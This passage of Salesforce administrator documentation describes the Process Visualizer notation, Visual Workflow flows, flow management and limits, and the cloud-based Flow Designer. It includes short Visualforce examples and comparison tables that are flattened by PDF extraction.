The Process Visualizer uses the following notation to graphically represent each approval process. The shapes are based on the Business Process Modeling Notation (BPMN) standard. In the Process Visualizer, a shape's color changes from gray to blue when you hover over or click it.

1730

Create

Process Visualizer Overview

Icon and Shape Examples

Description Near the top of the diagram, a Start circle indicates the beginning of the approval process. If defined, an Entry Criteria diamond precedes the Start circle. When you hover over or click Entry Criteria, the Process Visualizer displays the entry criteria in the sidebar's hover details pane. For example, an approval process for a lead is triggered when Lead.AnnualRevenue >= 10000. The arrow below the Start circle leads to the next criteria in the approval process. If a recall action was defined for the entry criteria, a line to the right connects to the Final Recall Actions rectangle.

The rectangle labeled Initial Submission Actions represents any actions you defined in initial submission. At a minimum, this element shows the record lock set automatically by Salesforce to prevent updates by other users. Later during the approval process, after the record is approved, rejected, or recalled, the record is unlocked.

A diamond with Yes or No branches represents the numbered step's criteria or formula that is evaluated before proceeding. Hover over or click the diamond to see the criteria or formula in the sidebar's hover details. For example, the criteria could be used to determine whether the Lead.Rating = Hot. If true, the approval process continues to the next step on the Yes branch. If false, the approval process continues to the next step on the No branch.

A rectangle containing a human icon, represents an approval step. The Approved path includes a small diamond. The Rejected path uses a backslash.

1731

Create

Process Visualizer Overview

Icon and Shape Examples

Description A rectangle without a human icon or a plus sign represents a single action. The action types and icons are: Send an email alert: Start a task: Perform a field update: Send an outbound message: In this example, a task has been assigned. When you hover over or click the rectangle, look for more information in the sidebar's hover details. A rectangle with a plus sign (+) represents multiple actions. The actions shown inside are performed simultaneously, as a unit. To expand the display and view the individual actions, click the plus sign. In the expanded display, the Process Visualizer displays the individual actions, one per rectangle.

When you hover over or click a shape on the diagram, and it is part of a step, all the elements that comprise the step use a glowing background color. This visual clue helps you locate all the decisions and actions that comprise each step, and how the processing may branch based on the record's values.

1732

Create

Process Visualizer Overview

Icon and Shape Examples

Description In the approval process definition, if the option was enabled to perform only the rejection actions for this step and send the approval request back to the most recent approver. (go back one step), the diagram displays a Go Back circle. When you hover over or click the Go Back circle, the hover details pane displays a message. For example:
On rejection send the request back to any one of the following steps, depending on the most recent approver: - list-of-steps. If no approvers are found, the request goes to Final Rejection.

The identified steps depend on where in the approval process the Go Back was defined. The possible steps are highlighted when you hover over the Go Back circle. In the diagram, the Process Visualizer displays the Go Back circle only for a step where its preceding step is defined as a skip. The Final Approval Actions rectangle leads to a circle labeled Approved, as shown here. The Final Rejection Actions rectangle leads to a circle labeled Rejected. If a recall action was defined, the Final Recall Actions rectangle shows that the record is now unlocked, and the arrow leads to a circle labeled Recalled.

See Also:
Launching the Process Visualizer Understanding the Process Visualizer User Interface Process Visualizer Overview

FORCE.COM FLOWS
About Visual Workflow

1733

Create

About Visual Workflow

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a flow: To upload, activate, deactivate, edit, and delete flows: To open, edit or create a flow in the cloud-based Flow Designer View Setup and Configuration Manage Force.com Flow Manage Force.com Flow

To run a flow directly from the flow URL, or from a custom Force.com Flow User field enabled on the user detail page Web tab, link, or button pointing to the flow URL: To run a flow from the flow detail page, list page, or from Manage Force.com Flow within the cloud-based Flow Designer, or to run an inactive AND flow: Force.com Flow User field enabled on the user detail page

Visual Workflow allows administrators to set up collections of screens, known as flows, that step users through the process of collecting and updating data. For example, you can use Visual Workflow to script calls for a customer support center or to generate real-time quotes for a sales organization. Visual Workflow has three different aspects: flow design, flow management, and runtime. As an administrator, you create the flows using the Flow Designer, which has a drag-and-drop user interface that lets you diagram flow structure and configure how it runs, without writing any code. Once you create a flow, you can manage it in Salesforce, edit its properties, activate, deactivate, delete, or run it at will. Flow users can then run the activated flow from a custom button, tab, link, or directly from the flow URL. To get started using flows, click Your Name > Setup > Create > Workflow & Approvals > Flows. From the list page, you can: Create a new flow in the cloud-based Flow Designer. Download the latest version of the desktop Flow Designer. Open a flow if it was created in the cloud-based Flow Designer. If there is no version of the flow activated, Open launches the latest version. Upload a flow file created in the desktop Flow Designer. View details about a flow by clicking its name. See flow status. Edit the name or description of a flow.

See Also:
Adding a Flow to a Visualforce Page Putting Flows to Work Flow Limits Visual Workflow Accessibility Overview Running Flows

1734

Create

Putting Flows to Work

Putting Flows to Work


Available in: Enterprise, Unlimited, and Developer Editions

You can share flows with users in three ways. Embed flows in a Visualforce page and incorporate that page into a Force.com app with a custom button, link, or Visualforce tab Use this method when the people who'll be using your flow are all users in your organization and you want to customize the flow's look and feel. For example, this method is appropriate if you're using flows to script calls for your company's customer support center and you want to design a custom tab from which they can select a script to use. Or, if you want to customize the way leads are created in Salesforce, you can override the New button on the leads home page and have it point to a custom Visualforce page with an embedded flow that captures only the lead information you want. Users running a flow delivered this way must have access to the Visualforce page, and their user detail page must have the Force.com Flow User field enabled. Embed flows in a Visualforce page and incorporate that page into a Force.com site, Customer Portal, or Partner Portal Use this method when you want to share a flow with members of the public who aren't standard users in your organization. For example, this method is appropriate if you want to set up a self-service tool for your public Force.com site to help visitors generate custom sales quotes. Since the flow is embedded in a Visualforce page, you can customize the appearance of the flow so it uses your company's branding and style. Site and portal users running a flow delivered this way must have access to the Visualforce page. They don't need any other permissions. Note: When making a flow available to site or portal users, be sure to point them to the URL of the Visualforce page that contains the embedded flow, not to the URL of the flow itself. Site and portal users don't have the privileges to run flows directly. Give users access to the flow URL, either directly or through a custom button, link or web tab Use this method when the people who'll be using your flow are all users in your organization and you don't need to customize its look and feel. You can find the direct URL of a flow on its detail page at Your Name > Setup > Create > Workflow & Approvals > Flows.

1735

Create

Managing Your Flows

Users running flows this way must have Force.com Flow User enabled on their user detail page. For more information, see User Fields on page 32.

See Also:
Setting Flow Finish Behavior Managing Force.com Site Visualforce Pages Creating Web Tabs Custom Links Force.com Sites Overview Setting Up Your Customer Portal Creating Partner Portals

Managing Your Flows


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a flow: To upload, activate, deactivate, edit, and delete flows: To open, edit or create a flow in the cloud-based Flow Designer View Setup and Configuration Manage Force.com Flow Manage Force.com Flow

To run a flow directly from the flow URL, or from a custom Force.com Flow User field enabled on the user detail page Web tab, link, or button pointing to the flow URL: To run a flow from the flow detail page, list page, or from Manage Force.com Flow within the cloud-based Flow Designer, or to run an inactive AND flow: Force.com Flow User field enabled on the user detail page

You can have several different versions of a single flow in Salesforce, but only one version of each flow can be active at a time. To manage a flow, go to Your Name > Setup > Create > Workflow & Approvals > Flows and click a flow name. On the flow detail page you can: View a list of all versions of the flows that you've uploaded. By default, flow versions are sorted by Created Date. Activate a version of the flow. Note: When you activate a new version of a flow, the previous version is automatically deactivated. Flow processes currently running continue to run using the version with which they were initiated. Delete a flow or flow version:

1736

Create

Managing Your Flows

Click the Delete button to delete the flow completely, including all versions. Click the Del link in the Flow Versions list to delete inactive versions of the flow. Note: You can't delete an active flow. Once deactivated, you must wait 12 hours to delete a flow or flow version. This ensures that flows in progress have time to complete. Flows that have never been activated can be deleted immediately. Open a flow or flow version created in the cloud-based Flow Designer. Only users with both the Manage Force.com Flow permission and the Force.com Flow User field enabled on their user detail page can open flows. Important: The cloud-based Flow Designer can't open flows created in the desktop Flow Designer. The reverse is also true. Click the Open button to open the active version of the flow. If there is no version of the flow activated, Open launches the latest version. Click the Open link in the Flow Versions list to open a specific version of the flow. Note: You can't make direct changes to an active flow. If you open an active version of a flow, you can make edits, but you can't save those edits unless you save as either a new flow or new flow version.

Run a flow or flow version. Click the Run button to run the active version of the flow. If there is no active version, the Run button runs the latest version. Click the Run link next to the version name to run an individual flow version. Only users with both the Manage Force.com Flow permission and the Force.com Flow User field enabled on their user detail page can run inactive flows. Note: To allow other Salesforce users to run active flows directly, create a custom Web tab, link, or button pointing to the flow URL. Users running flows this way must have Force.com Flow User enabled on their user detail page. For more information, see User Fields on page 32.

Edit the name or description of the flow. See flow status. Inactive flows are valid and can be activated. Draft flows are inactive, invalid, and can't be activated. Deactivate the active version of the flow.

See Also:
About Visual Workflow Uploading a New Flow or Flow Version Custom Links Creating Web Tabs Flow Limits Running Flows

Editing Flow Properties


1737

Create

Editing Flow Properties

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a flow: To upload, activate, deactivate, edit, and delete flows: To open, edit or create a flow in the cloud-based Flow Designer View Setup and Configuration Manage Force.com Flow Manage Force.com Flow

To run a flow directly from the flow URL, or from a custom Force.com Flow User field enabled on the user detail page Web tab, link, or button pointing to the flow URL: To run a flow from the flow detail page, list page, or from Manage Force.com Flow within the cloud-based Flow Designer, or to run an inactive AND flow: Force.com Flow User field enabled on the user detail page

The name and description of a flow in Salesforce make up the flow properties. The properties of a flow and its flow versions are separate. Depending on which Flow Designer you used to create the flow, you can change this information in different ways. Note: If you created your flow using the desktop Flow Designer, upon upload of a new flow file, its name and description in Salesforce are taken from the name and description fields within the file.

Editing the Properties of a Flow You can edit flow properties two ways: On the flow list page, click Edit next to a flow name. To go to the flow list page, click Your Name > Setup > Create > Workflow & Approvals > Flows. On the flow detail page, click the Edit button.

If you haven't yet edited the flow properties in Salesforce, the name and description field contents can fluctuate. Here's how: If you haven't edited the name and description, and there is no version activated, the flow name and description reflect those of the most recently-uploaded version, if your flow was created in the desktop Flow Designer. If you haven't edited the name and description, and you activate a version of your flow, the name and description fields update to reflect those of the active version. Important: Once you edit the name and description of your flow in Salesforce, those fields no longer automatically update when you upload or activate a new version.

Editing the Properties of a Flow VersionDesktop Designer The properties of a flow version created using the desktop Designer are derived from the name and description fields within the flow file. You can't edit these in Salesforce. If you open the flow version file in the desktop Designer, change the name and description, then re-upload it, a new version is created with the updated information, but it won't overwrite the original version properties.

1738

Create

Uploading a New Flow or Flow Version

Editing the Properties of a Flow VersionCloud-Based Designer To edit the properties of a flow version created using the cloud-based Flow Designer: 1. 2. 3. 4. 5. Go to Your Name > Setup > Create > Workflow & Approvals > Flows. Click the name of a flow. Click the Open link next to the flow version. After the cloud-based Flow Designer launches, click the Flow Properties button. Change the name or description as needed. You can edit the name and description of your flow version this way at any time, but you can only change its unique name when saving it for the first time.

See Also:
Uploading a New Flow or Flow Version About Visual Workflow About the Cloud-Based Flow DesignerBeta

Uploading a New Flow or Flow Version


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a flow: To upload, activate, deactivate, edit, and delete flows: View Setup and Configuration Manage Force.com Flow

The upload feature is supported only for flows created in the desktop Flow Designer, and is the same whether you're uploading a whole new flow or just a new flow version. How does Salesforce know which is which? When you upload a flow file, Salesforce looks at the Unique Name within the flow properties and does a match for it against any other flows in your organization. If there's a match, the file uploads as a new version of the flow it was matched with. If there's no unique name match, the file uploads as a new flow. You can find the unique name of a flow on its flow detail page. Tip: If you need to upload both a flow and its sub flow, upload the sub flow first, then the main flow.

You can continue to upload new versions of a flow even if it has an active version. To upload a new flow file, go to Your Name > Setup > Create > Workflow & Approvals > Flows. 1. 2. 3. 4. On the flow list page, click Upload. Click Browse... to select a flow to upload. Click Upload. Click Save.

Salesforce validates flows upon upload, and may give you warnings or errors if your flow contains deprecated elements, invalid field formats or data types, or unsupported components. If you have flows in Salesforce that were uploaded in previous releases,

1739

Create

Uploading a New Flow or Flow Version

their format may not be compatible with changes made in the current release. To ensure that all your flows are up-to-date and will run properly, download the latest version of the Flow Designer from the flow list page, open the original flow files, clean up their contents based on any errors you get, then save them and re-upload. You may have to do this more than once if you receive any new errors upon re-uploading the flow. Important: Only files with the .flow extension can be uploaded into Salesforce. To convert .spark files into .flow files, download the latest version of the Flow Designer from the flow list page, open your file, and save it with the .flow extension. Developer Information When flows are uploaded into Salesforce, the HTML IDs of the fields are defined in a specific way. As a developer, you can rely on these naming conventions when making calls in your code. Field Type Buttons Button groups (hidden field to aid javascript logic) Input field for questions Input field for question choice Div tag (holds the user input field) Form prompt text Help button for a particular question Help button for a form Question text above the question input box Prompt text to the left side of the input box Choices in radio button format Yes\No choice Choices in radio group from date lookup (index starts at 1) Naming Convention questionUniqueName.buttonUniqueName.button questionUniqueName.hidden questionUniqueName.input questionUniqueName+choiceUniqueName.radio.userInputField questionUniqueName+choiceUniqueName.radio.userInput interview_form_propmpt questionUniqueName.help interview_form_prompt.help questionUniqueName.displayText questionUniqueName.prompt questionUniqueName.choiceUniqueName.radio questionUniqueName.yes/no.radio qusetion.UniqueName.choiceN.radio

See Also:
About Visual Workflow Managing Your Flows Flow Limits

Adding a Flow to a Visualforce Page

1740

Create

Adding a Flow to a Visualforce Page

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and set version settings for Visualforce pages: Customize Application To upload, activate, deactivate, edit, and delete flows: Manage Force.com Flow

To customize a flow's look and feel or enhance its functionality you can embed it as a component in a Visualforce page. If your organization has flows enabled for sites and portals, you can then deliver the flow to your Force.com site, Customer Portal, or partner portal users. Note: Users can only run flows that have an active version. If the flow you embed doesn't have an active version, users see an error message. If the flow you embed includes a subflow, that subflow must have an active version. To add a flow to a Visualforce page, embed it using the <flow:interview> component: 1. Find the flow's unique name: a. Go to the flow list page at Your Name > Setup > Create > Workflow & Approvals > Flows. b. Click the name of the flow you want to embed. 2. Define a new Visualforce page or open one that you want to edit. 3. Add the <flow:interview> component, somewhere between the <apex:page> tags. 4. Set the name attribute to the unique name of the flow. For example:
<apex:page> <flow:interview name="MyUniqueFlowName"> </apex:page>

5. Restrict which users can run the flow by setting the page security for the Visualforce page that contains it. If the Visualforce page containing the flow is delivered externally to site or portal users, any of those users with access to the Visualforce page can run the embedded flow. If the Visualforce page containing the flow is delivered to users within your organization through a custom Web tab, link, or button, users must not only have access to the page, but must also have the Force.com Flow User field enabled on their user detail page. In addition to the other flow customizations available with Visualforce, you can also shape what happens when a user clicks Finish on the final screen. For a simple example, see Setting Flow Finish Behavior on page 1742. For more examples of using flows in Visualforce, including how to make a flow interact with other components on the page, see the Visualforce Developer's Guide.

See Also:
About Visual Workflow Flow Limits Managing Force.com Site Visualforce Pages

1741

Create

Setting Flow Finish Behavior

Setting Flow Finish Behavior


Available in: Enterprise, Unlimited, and Developer Editions

Because flows are rendered using Visualforce, you can use the finishLocation attribute to redirect users to another screen in Salesforce when they click Finish. Note: If finishLocation isn't specified, users that click Finish are routed back to the first screen of the flow.

Set a flow's final screen in one of these ways. Embed the flow as a component in a Visualforce page and configure finishLocation manually. Here's a simple example, using the URLFOR function. You can use URLFOR to: Route users to a relative URL, such as the Salesforce home page.
<apex:page> <flow:interview name="flowname" finishLocation="{URLFOR('/home/home.jsp')}"/> </apex:page>

Route users to a specific record or detail page using its ID. For example, if you wanted to route users to a detail page with an ID of 001D000000IpE9X:
<apex:page> <flow:interview name="flowname" finishLocation="{URLFOR('/001D000000IpE9X')}"/> </apex:page>

For more examples, see "Configuring the finishLocation Attribute in a Flow" in the Visualforce Developer's Guide. Tip: If you deliver a flow to your users from a custom button, link, or Web tab that points to the flow URL, we recommend against using retURL in the URL path to redirect them. Using retURL can cause the destination page you specify to be rendered with top and side navigation bars nested within the existing Salesforce top and side navigation bars.

See Also:
Adding a Flow to a Visualforce Page Editing Flow Properties

Running Flows

1742

Create

Running Flows

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a flow: View Setup and Configuration

To run a flow directly from the flow URL, or from a custom Force.com Flow User field enabled on the user detail page Web tab, link, or button pointing to the flow URL: To run a flow from the flow detail page, list page, or from Manage Force.com Flow within the cloud-based Flow Designer, or to run an inactive AND flow: Force.com Flow User field enabled on the user detail page

Flows are a collection of scripted screens that you can step through to collect and update data. For example, as a support representative in a call center, you can use flows to capture information as you help troubleshoot customer issues. Or as a salesperson, you can use flows to generate real-time quotes. You can even use flows to manipulate your organization's data in new ways. Depending on how flows are set up in your organization, you can run them directly from the flow URL in your browser, or from a custom Web tab, link, or button pointing to the URL. If your administrator hasn't defined custom Web tabs, links, or buttons for flows, you can find the direct flow URL by going to Your Name > Setup > Create > Workflow & Approvals > Flows and clicking on the name of the flow you want to run. Consider the following when running flows: Don't use your browser's Back or Forward buttons to navigate through a flow. This results in inconsistent data between the flow and Salesforce. A single flow may have up to 10 different versions. When you run a flow, you see the active version, which may not necessarily be the latest version.

Flow administrators can also run flows directly from the flow detail page.

See Also:
About Visual Workflow

Flow Limits
Available in: Enterprise, Unlimited, and Developer Editions

The following limits apply to flows in Salesforce: Maximum number of versions per flow 10

1743

Create

Visual Workflow Accessibility Overview

Maximum number of steps per flow Maximum number of active flows per organization Maximum number of flows per organization Maximum size of uploaded flow file

2000 500 1000 3 MB

If you exceed your organization's site usage limits or Visualforce usage limits, you can't run flows.

See Also:
About Visual Workflow

Visual Workflow Accessibility Overview


Available in: Enterprise, Unlimited, and Developer Editions

Visual Workflow is 508-compliant with the following exceptions: Clicking the next or previous buttons doesn't change the title of the screen, so you may not realize you're on a new page. There are no labels on radio buttons. Screen readers can't distinguish between questions. Questions without defined prompts may not read correctly. Errors are not noted when reading the fields.

About the Cloud-Based Flow DesignerBeta


The Flow Designer, the tool for creating flows, lets you configure screens and define branching logic for your flows without writing any code. Elements are the building blocks of flows. Each element represents an action, such as presenting information to, or collecting information from, flow users, or even querying, creating, updating and deleting information in Salesforce. By connecting elements together in the Flow Designer, you can create a series of screens, inputs and outputs through which users navigate. Salesforce supports two versions of the Flow Designer: The desktop version of the Flow Designer is a standalone application which you can download from the flow list page and install on your computer. Flows created with this designer are saved as files which you then upload into Salesforce. For more information about how the desktop Flow Designer works, see http://www.salesforce.com/us/developer/docs/firefly/salesforce_flow_designer.pdf. The cloud-based version of the Flow Designer is native to Salesforce, and lets you create new flows and manage their content directly from the flow list and detail pages. Note: The cloud-based Flow Designer is available as a beta feature in the Winter '12 release. It is production-quality, but has known limitations, and supports only the English language and English (United States) locale. Click the survey link in the top banner of the cloud-based Flow Designer to provide feedback and suggestions for this feature.

1744

Create

What's Supported in the Cloud-Based Flow Designer

System Requirements To use the cloud-based Flow Designer, we recommend: Windows Internet Explorer versions 8 and 9, Google Chrome, or Mozilla Firefox. Internet Explorer 6 is not supported. Adobe Flash Player version 10.1 and later. The minimum version required to run the cloud-based Flow Designer is 10.0. A minimum browser resolution of 1024x768.

See Also:
Flow Designer Elements Flow Designer Resources Understanding the Flow Designer User Interface What's Supported in the Cloud-Based Flow Designer

What's Supported in the Cloud-Based Flow Designer


If you've previously used the desktop version of the Flow Designer, note that some features and elements have changed in the new cloud-based version of the Flow Designer. Some elements were renamed, some were consolidated, and others aren't supported. These tables illustrate the differences in elements and feature support between the desktop and the new cloud-based Flow Designer. Supported Elements Elements Allocator Apex Plug-in Choice Choice Lookup Desktop Designer Y Y Y Y not for forms Y Y Y Y Y Y Y Y Cloud-Based Designer Y changed Y Y changed Y Part of the Screen element in the cloud-based Flow Designer. Known as Dynamic Choice in the cloud-based Flow Designer. Forms, choices, and Dynamic Choice are incorporated into the Screen element. Comments Known as Assignment in the cloud-based Flow Designer.

Constant Data Lookup Data Source Data Target Data Update Decision Email Flare

Y Y N N Y Y N Y changed Known as Step in the cloud-based Flow Designer. Not valid for active flows. Known as Record Update in the cloud-based Flow Designer. Known as Record Lookup in the cloud-based Flow Designer.

1745

Create

What's Supported in the Cloud-Based Flow Designer

Elements Flow Summary Form Formula Lead Lead Convert

Desktop Designer Y Y Y Y Y

Cloud-Based Designer Y Y changed Y N N Y Y changed Y changed

Comments

Part of the Screen element in the cloud-based Flow Designer. The Formula element in the cloud-based Flow Designer uses the standard Salesforce formula engine.

Non-visual start elements Y Question Y

Part of the Screen element in the cloud-based Flow Designer (input, choice and output). In the desktop designer, it's a prompt. Part of the Screen element in the cloud-based Flow Designer as options in the Choices section of the Add a Field tab.

Question/Choice Prompt Y

Record Create Record Lookup Record Update Resource Screen

N N N Y N

Y Y Y Y changed Y Replaces the Data Lookup element from the desktop Flow Designer. Replaces the Data Update element from the desktop Flow Designer. Known as Text Template in the cloud-based Flow Designer Represents a whole flow screen in the cloud-based Flow Designer. Combines functionality from the desktop designer's Form, Question, Choice, and Statement elements. Part of the Screen element in the cloud-based Flow Designer as the Display Text field on the Add a Field tab. Replaces the Flare element from the desktop Flow Designer. A flow with a Step can't be activated.

Statement Step Subflow Text Template Valuetable Variable

Y N Y N Y Y

Y changed Y N Y N Y

Replaces the Resource element from the desktop Flow Designer.

Supported Functionality Functionality Desktop Designer Y Y Cloud-Based Designer N Y Comments

Clear User View Close

No support for simulator in the cloud-based Flow Designer.

1746

Create

What's Supported in the Cloud-Based Flow Designer

Functionality Convert Copy Element Cut Delete Element Dependencies for Elements Export flow Flow Summary Flow Spec Grouping elements Help Insert Default Element Lead Convert Merge Fields in default value for user input Merge Fields in display text Open multiple flows in tabs Open Recent

Desktop Designer Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y

Cloud-Based Designer Y (limited) N N Y N N Y N N Y N N Y Y N N N N N N Y N N Y Y Y N

Comments In the cloud-based Flow Designer, the only conversion allowed is from Step to Screen.

Not in button bar, but mouse over element in the cloud-based Flow Designer and either click or press DELETE.

Desktop has a PDF. The cloud-based Flow Designer has online help.

You can't open multiple flows in the cloud-based Flow Designer.

Organize Layout Tree Y map Paste Procedure New Redo Refresh Resource Run Save/Save As Select All Send Email Y Y Y Y Y Y Y Y Y Y

In the cloud-based Flow Designer, click and drag a box around elements on the canvas to select them.

1747

Create

Understanding the Flow Designer User Interface

Functionality Set Default Element Set as Start Element Setting follow highlightpath when running

Desktop Designer

Cloud-Based Designer N

Comments

Y Y

Y N No Flow Simulator with the cloud-based Flow Designer.

Setting show element Y explorer Setting Summary on hover SFDC settings Undo Validate Y Y Y Y

N N N Y N N Not needed anymore with the cloud-based Flow Designer.

Watch Interview Flow Y Simulator

See Also:
About the Cloud-Based Flow DesignerBeta Flow Designer Elements Flow Designer Resources

Understanding the Flow Designer User Interface


Available in: Enterprise, Unlimited, and Developer Editions

Visual Workflow allows administrators to set up collections of screens, known as flows, that step users through the process of collecting and updating data. For example, you can use Visual Workflow to script calls for a customer support center or to generate real-time quotes for a sales organization. The Flow Designer user interface has several functional areas.

1748

Create

Understanding the Flow Designer User Interface

Button Bar (1) Use the buttons in the button bar to save, close, undo or redo changes to, and view properties of your flow. The status indicator on the right side of the bar shows whether your flow is active or inactive, saved or unsaved, and whether you got any warnings or errors upon saving. Clicking the warnings or errors expands them into a list. Save and Save As Depending on your needs, you can quick-save, save a new flow, or save a new flow version. To find out more about how save works, see About Saving a Flow on page 1751. Close Clicking Close from within an unsaved flow returns you to the flow list page. Clicking Close from within a saved flow returns you to the flow detail page. Undo and Redo Undo or redo recent actions on the main canvas. Flow Properties Shows you information about your flow, such as its name, unique name, description, version, and created and modified dates. You can edit the name and description of your flow any time, but you can only change its unique name when saving it for the first time. Run Runs the most recently saved version of the flow. Note: Only users with the Force.com Flow User field enabled on their user detail page can run flows from within the cloud-based Flow Designer.

Main Canvas (2) To move an element, drag it around the canvas. If the element is connected to a line, the line moves with it. You can connect items on the canvas by clicking the node beneath the source element and dragging and dropping a line anywhere onto a target

1749

Create

Creating a Flow

element. To select multiple elements, either drag a square around a group or use control-click to select individual elements. Double-click any element in the main canvas to edit it. Palette Tab (5) The Palette tab lists all the element types available for your flow. Drag and drop elements from the palette onto the main canvas. Click an element in the palette to see its properties in the Description pane. Once created, your new elements show up in the Explorer tab. Resources Tab (4) The Resources tab lets you create new resources for your flow, like variables and constants. Once created, your new resources show up in the Explorer tab. Explorer Tab (3) The Explorer tab is a library of all elements and resources added to the flow. Double-click items in the list to edit them. Single-click an item to view its details in the Description pane.

See Also:
About the Cloud-Based Flow DesignerBeta Editing Flow Properties

Creating a Flow
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

To create a flow in the cloud-based Flow Designer, go to Your Name > Setup > Create > Workflow & Approvals > Flows and click New Flow. Tips and Tricks for Creating Flows Have a draft flow in mind before you start creating your flow in the Flow Designer. If you're not sure what kind of element you need for a node in your flow, use a Step element as a placeholder until you figure it out. You can always replace it later. If you need to delete a group of elements and connectors, you can left-click and drag to select an area containing them. Then press DELETE to remove all of them at once.

1750

Create

About Saving a Flow

If you're new to the cloud-based Flow Designer, we recommend walking through one or more of the sample flow tutorials in the Visual Workflow Implementation GuideBeta. They're a great way to introduce yourself to the tool and discover how things work.

See Also:
About the Cloud-Based Flow DesignerBeta

About Saving a Flow


Available in: Enterprise, Unlimited, and Developer Editions

After you've created a flow in the cloud-based Flow Designer, you have a few options for saving it: Initial saveWhen you save a new flow for the first time, a dialog box appears. Enter a flow name, unique name and description. Once you save the flow, the unique name can't be changed. Note: A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Quick saveAfter you've saved a flow once, the Save button works as a quick-save, overwriting your previous work. Save AsOnce you've saved your flow for the first time, this button is enabled, with two options: Save as new flow opens a dialog box where you can input a new name, unique name and description, then save your changes as an entirely new flow. Save as new version saves the flow you're working on as a new version of the current flow. This is a useful option if you want to make changes to a flow and keep the old configuration as a backup in case you need to refer back to it later. Each flow can have up to 10 versions. You can update the flow name and description when you save a new version, but not the unique name. When saving a flow or flow version: If you have the flow detail page open in one browser tab, then open a flow version in a new browser tab to edit it, after saving and closing it, you must refresh the first flow detail page before you can successfully run the flow version you just edited. When saving a new flow or flow version, a bug can occur. If you've changed the flow properties and for some reason the save fails, the flow properties don't revert to the previous values.

See Also:
About the Cloud-Based Flow DesignerBeta

Flow Designer Elements

1751

Create

Flow Designer Elements

Available in: Enterprise, Unlimited, and Developer Editions

Elements are the building blocks of flows. Each element represents an action, such as presenting information to, or collecting information from, flow users, or even querying, creating, updating and deleting information in Salesforce. By connecting elements together in the Flow Designer, you can create a series of screens, inputs and outputs through which users navigate. The following elements are available in the cloud-based Flow Designer: Apex Plug-In Assignment Decision Record Create Record Lookup Record Update Screen Step

Though they're not on the Palette tab, Connectors (the arrows between the elements on the canvas) are also considered elements. Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.

See Also:
About the Cloud-Based Flow DesignerBeta

Adding and Configuring an Apex Plug-in Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

The Apex Plug-in element represents a piece of Apex code that you can include in a flow. It lets you call an Apex class with the Process.Plugin interface and pass data between your organization and a flow. When you open the cloud-based Flow Designer, any Process.Plugin classes you have created in Salesforce are retrieved and displayed as drag-and-droppable elements on the Palette. Select a plug-in on the Palette to see its tag, class name, inputs and outputs listed in the Description pane.

1752

Create

Flow Designer Elements

Important: Before you can use an Apex Plug-in element in a flow, you must first write the Apex class that implements the interface. For more information about how to do that, see Using the Process.Plugin Interface in the Force.com Apex Code Developer's Guide To add or configure an Apex Plug-in element: 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Palette, drag an Apex Plug-in element onto the canvas. The class name and description are taken from the plug-in code. 3. Enter a name for your new plug-in element. 4. If necessary, enter a different unique name. Note: The requirement for uniqueness is only within the flow. You can have two elements with the same unique name, provided they are used in different flows.A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 5. Enter a description. 6. In the Inputs/Outputs section of the overlay, configure the inputs and outputs of your plug-in. Required inputs automatically show up on the Inputs tab and also display in the Description pane of the Flow Designer with an asterisk. a. On the Inputs tab, enter a value or select a resource to assign to each input. b. On the Outputs tab, assign the plug-in's outputs to variables to reference them in your flow. c. Click Add Row on either tab to add an optional input or output. Click can't remove a required input. 7. Click OK to accept your changes or Cancel to discard them. to remove an optional input or output. You

See Also:
About Apex Plug-ins in Flows Flow Designer Elements About the Cloud-Based Flow DesignerBeta

About Apex Plug-ins in Flows


Available in: Enterprise, Unlimited, and Developer Editions

The Apex Plug-in element represents a piece of Apex code that you can use to pass data between your organization and a flow. When using Apex plug-ins in a flow: Add a tag string to your Apex plug-in to group your plug-ins in the Flow Designer Palette. If you don't add a tag string to a plug-in, it shows up at the root level of the Apex Plug-ins section. Apex primitive data types Blob and Time aren't supported for flow plug-ins. If you don't provide a name for your plug-in, it displays in the Palette using the class name.

1753

Create

Flow Designer Elements

If you make code changes to an Apex plug-in while the Flow Designer is open, you won't see the changes in the plug-in elements until you close and re-open the Designer.

See Also:
Adding and Configuring an Apex Plug-in Element Flow Designer Elements About the Cloud-Based Flow DesignerBeta

Adding and Configuring an Assignment Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit or create a flow in the cloud-based Flow Designer Manage Force.com Flow

Use the Assignment element to make changes to the value of a variable. For example, you could dynamically change the value of a customer's credit score depending on how they answer certain questions in the flow. To add an Assignment element to your flow: 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Element Library, drag the Assignment element into the main area of the canvas. 3. Enter a Name and Unique Name for the element. Note: The requirement for uniqueness is only within the flow. You can have two elements with the same unique name, provided they are used in different flows.A unique name is limited to only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. In the Assignments section, select the variable you want to change from the left-hand drop-down menu. 5. Select an operator. 6. In the right drop-down, select an element or enter a value to adjust the variable you selected. Note: When you add or subtract a number from a date value, the date adjusts in days, not hours.

7. Click Add Assignment to add another line. Click and drag assignment line items to reorder them. 8. Click to remove a line. 9. Click OK to accept your changes or Cancel to discard them.

1754

Create

Flow Designer Elements

Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.

See Also:
Flow Designer Elements About the Cloud-Based Flow DesignerBeta

About the Connector Element


Available in: Enterprise, Unlimited, and Developer Editions

